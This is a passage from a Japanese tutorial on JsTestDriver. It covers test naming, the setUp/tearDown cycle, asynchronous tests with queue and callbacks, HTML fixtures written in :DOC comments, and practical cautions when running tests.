両者に大きな違いはありませんが、特にオブジェクトリテラルを渡す場合ではテスト名に記号等を使用するとコマンドラインからテストを指定して実行する場合に問題が発生する可能性があるので注意してください。
(コマンドラインから指定しない場合、スペース等の記号を含めても問題ありません)
JsTestDriverのコマンドラインオプション http://0-9.tumblr.com/post/16860918312/jstestdriver-commandlineflags
テスト名は常に「test」から始まっている必要があります。
(setUp、tearDown以外の「test」から始まっていないメソッドは実行されません)
ただし、「test」から始まっていないメソッドも「this.メソッド名」で呼び出すことが可能です。
各テストメソッドは毎回以下のサイクルで実行されます。
    setUp -> テストメソッド -> tearDown
各テストメソッドはアルファベット順にソートされて実行されるため、上記の例の場合以下の順番で実行されます。
    setUp -> testNameA -> tearDown -> setUp -> testNameB -> tearDown
各メソッド内のthisは共有されており、「setUp -> テストメソッド -> tearDown」の実行サイクル中以下のように保持されます。
    setUp -> テストメソッド -> tearDown -> (thisを破棄) -> setUp -> テストメソッド -> tearDown

以下はAsyncTestCase独自の方法です。

queueを使った非同期テスト
    AsyncTestCase(‘testCaseName’, {
        ’testNameHoge’ : function (queue) {
            var state = 0;
            assertEquals(0, state);
            queue.call(function(callbacks) {
                state++;
                assertEquals(1, state);
                setTimeout(callbacks.add(function () {
                    state++;
                    assertEquals(2, state);
                }), 500);
            });
            queue.call(function(callbacks) {
                state++;
                assertEquals(3, state);
                setTimeout(callbacks.add(function () {
                    state++;
                    assertEquals(4, state);
                }), 200);
            });
        }
    });

AsyncTestCaseはテストメソッドの第一引数にqueueオブジェクトを渡すので、そのqueueオブジェクトの.callメソッドにcallbackをわたし、そのcallbackの第一引数に渡されるcallbacksオブジェクトの.addメソッドにcallbackを渡すことで非同期の実行ができます。

実行順は上記のテストにもありますが、以下のような順番になります。

テストメソッド全体 -> (遅延) -> queue.call -> callbacks.add -> queue.call -> callbacks.add

各queue.call内のcallbackは遅延実行され、先に追加されているqueue.call内のcallbacks.addが全て処理されるまで実行されません。
    AsyncTestCase(‘testCaseName’, {
        ’testNameHoge’ : function (queue) {
            var state = 0;
            assertEquals(0, state);
            queue.call(function(callbacks) {
                state++;
                assertEquals(1, state);
            });
            assertEquals(0, state);
        }
    });

テストメソッド全体、queue.call、callbacks.add内のthisはすべて同じものとなります。
    AsyncTestCase(‘testCaseName’, {
        ’testNameHoge’ : function (queue) {
            assertNotEquals(1, this.hoge);
            this.hoge = 1;
            queue.call(function(callbacks) {
                assertEquals(1, this.hoge);
                setTimeout(callbacks.add(function () {
                    assertEquals(1, this.hoge);
                }));
            });
        }
    });

htmlのテスト

JsTestDriverのテストはサーバに接続しているブラウザ環境上で実行されるため、通常のDOM APIを使ったhtmlの組み立ても可能ですが、各テストコード内に以下のようなJavaScriptのコメント形式でhtmlを記述することにより簡単にテスト用htmlを埋め込むことができます。
    AsyncTestCase(‘testCaseName’, {
        ‘setUp’ : function () {
            /*:DOC foo = <div><p>foo</p></div>*/
            /*:DOC += <div id=”foo”></div> */
        },
        ‘testNameHoge’ : function () {
            /*:DOC foo = <div><p>foo</p></div>*/
            /*:DOC += <div id=”foo”></div> */
        }
    });
setUp内で設定したhtmlは各テストメソッドから参照可能です。
(ただし、htmlへの変更はtearDown実行後に破棄されます)
テストメソッド内で設定したhtmlはtearDown実行後に破棄されます。
:DOCの後に変数名を置く形式「:DOC foo = 」の場合、各コード内からはthis.fooで参照できます。
:DOCの後に+=を置く形式「:DOC += 」の場合、document.bodyにappendChildされます。
各htmlは要素を並列においても最初のノード以外を無視します。
以下の例ではfooのみが追加され、barは無視されます)
    /*:DOC +=
        <div id=”foo”></div>
        <div id=”bar”></div>
    */
各コードは記述されている部分がhtmlを生成するJSに変換されて実行されるため、テストメソッドの任意の行に記述できますが、記述された行以前からは参照できません。
    AsyncTestCase(‘testCaseName’, {
        ‘testNameHoge’ : function () {
            // この時点ではundefined
            console.log(this.foo);
            /*:DOC foo = <div><p>foo</p></div>*/
            // ここでは[HTML Element]
            console.log(this.foo);
        }
    });


注意点

クライアントに限って、延々サーバに繋げてると動きがおかしくなることがあります。
(社内では共有のサーバにiPhone, Androidをつなげて放置してますが、週一回か二回くらい再起動してます)

console.logはブラウザ上に存在しない場合もあるし、つかいまくるとブラウザが不安定になったりするので、コンソールに値出したいだけならjstestdriver.console.logを使いましょう。
(ただし、console.log = jstestdriver.console.logとかしても動かないので注意)

一応debugger statementも動きます。ただし、timeout秒以上経つとそこで死ぬので注意。
(timeout秒以内ならstartしなおせば動く)

TestCase、AsyncTestCase外の実行場所はテストを再実行した場合には再実行されません。
(初期化コードとかは基本setUpに書きましょう)